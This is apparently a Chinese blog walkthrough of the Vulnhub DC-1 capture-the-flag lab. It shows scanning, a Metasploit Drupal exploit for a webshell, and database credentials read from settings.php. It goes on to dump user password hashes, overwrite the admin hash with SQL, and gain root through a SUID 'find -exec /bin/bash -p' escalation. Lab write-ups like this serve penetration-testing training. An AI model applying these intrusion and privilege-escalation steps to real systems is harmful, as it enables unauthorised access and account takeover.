免责声明
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
2
内容速览
这是网络安全自修室每周带星球小伙伴一起实战的第1台靶机,欢迎有兴趣的小伙伴一起加入实操,毕竟实践出真知! 靶机可从Vulnhub平台免费下载,并通过虚拟机在本地搭建,渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标!
攻击机:Kali Linux
靶机环境:192.168.241.135
Drupal CMS
Find提权
通过如下命令,使用ARP协议列出网段内存活的机器,进一步判断靶机的真实地址
sudo arp-scan -l
或者使用nmap 对局域内的主机进行存活扫描,也是可以发现目标靶机
nmap -sn 192.168.241.1/24
使用masscan对目标靶机进行全端口探测,需要稍等一会
sudo masscan --min-rate=10000 -p- 192.168.241.135
可以发现存在80端口,访问发现为Drupal
的框架
对存活的端口的服务进一步探测
sudo nmap -O -sV -sC 192.168.241.135 -p 22,80,110 -oN result.xml
综上可知,该靶机的操作系统是linux
,仅开放了三个端口,分别为80、22、110在未获取到任何账号密码的情况下,80端口的web服务才是最重要的突破口,且web为显而易见的Drupal 框架,可以尝试使用利用工具进行Getshell
既然知道了CMS为drupal,就打开msf搜索相关的利用模块
选择使用第一个,并设置相关配置
use 1
设置目标后,使用exploit -j 命令进行攻击
可以看到直接获取到了webshell
进入shell进行进一步的信息搜集,发现了第一个flag1.txt
可以发现,有flag1.txt,我们打开看一下
翻译可知,每个好的cms都需要一个配置文件,你也一样。提示我们要找到cms配置文件。
然后进入sites/default目录,打开settings.php数据库配置文件
得到数据库账号和密码:dbuser
R0ck3t
,同时也发现flag2 也赫然在其中显示,并提示我们爆破是行不通的,同时需要进入获取凭证 切换到shell连接mysql,发现不能回显,无法进入交互界面
mysql -udbuser -pR0ck3t
python -c "import pty;pty.spawn('/bin/bash')" # 获取一个交互shell
select * from users \G;
mysql> select * from users \G;
select * from users \G;
*************************** 1. row ***************************
uid: 0
name:
pass:
mail:
theme:
signature:
signature_format: NULL
created: 0
access: 0
login: 0
status: 0
timezone: NULL
language:
picture: 0
init:
data: NULL
*************************** 2. row ***************************
uid: 1
name: admin
pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
mail: admin@example.com
theme:
signature:
signature_format: NULL
created: 1550581826
access: 1550583852
login: 1550582362
status: 1
timezone: Australia/Melbourne
language:
picture: 0
init: admin@example.com
data: b:0;
*************************** 3. row ***************************
uid: 2
name: Fred
pass: $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
mail: fred@example.org
theme:
signature:
signature_format: filtered_html
created: 1550581952
access: 1550582225
login: 1550582225
status: 1
timezone: Australia/Melbourne
language:
picture: 0
init: fred@example.org
data: b:0;
3 rows in set (0.00 sec)
根据提示需要进入后台,那直接把admin密码改掉,简单粗暴 直接根据网站本地脚本对设置的密码进行加密
php scripts/password-hash.sh 123456
php scripts/password-hash.sh 123456
password: 123456 hash: $S$DqoimnZKpzNbUFgNiiGexSM.Z29/UXOFtPunnZY0nSHhJBi3RdNP
www-data@DC-1:/var/www$
mysql -udbuser -pR0ck3t
use drupaldb;
update users set pass='$S$DRP9A87VYWMUnTb4Dl7yivYAlibCNONO32cCB3Qc1LT5Alr90rAu' where uid=1;
select * from users \G;
通过robots.txt知道登录地址,通过admin登录成功查看flag3 使用设置好的密码:123456,登陆admin账户,在content页面发现了flag3
提示我们需要去查找密码,可以从shadow上着手 这里提到了shadow这个单词,于是立即想到/etc/passwd,先打开看看再说 查看用户发现flag4用户
cat /etc/passwd
shell输出
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
直接打开flag4.txt,获取到其中内容
提示我们用相同的方式进入root 目录,可以联系到find
suid提权 先查看下find是否存在suid权限
find / -perm -u=s 2>/dev/null
很明显find是具备条件的,直接获取到root 权限
find / -exec /bin/bash -p ;
打开root目录下的最后一个flag,至此整个靶机完成通关!
-p
进入交互模式才能拿到bash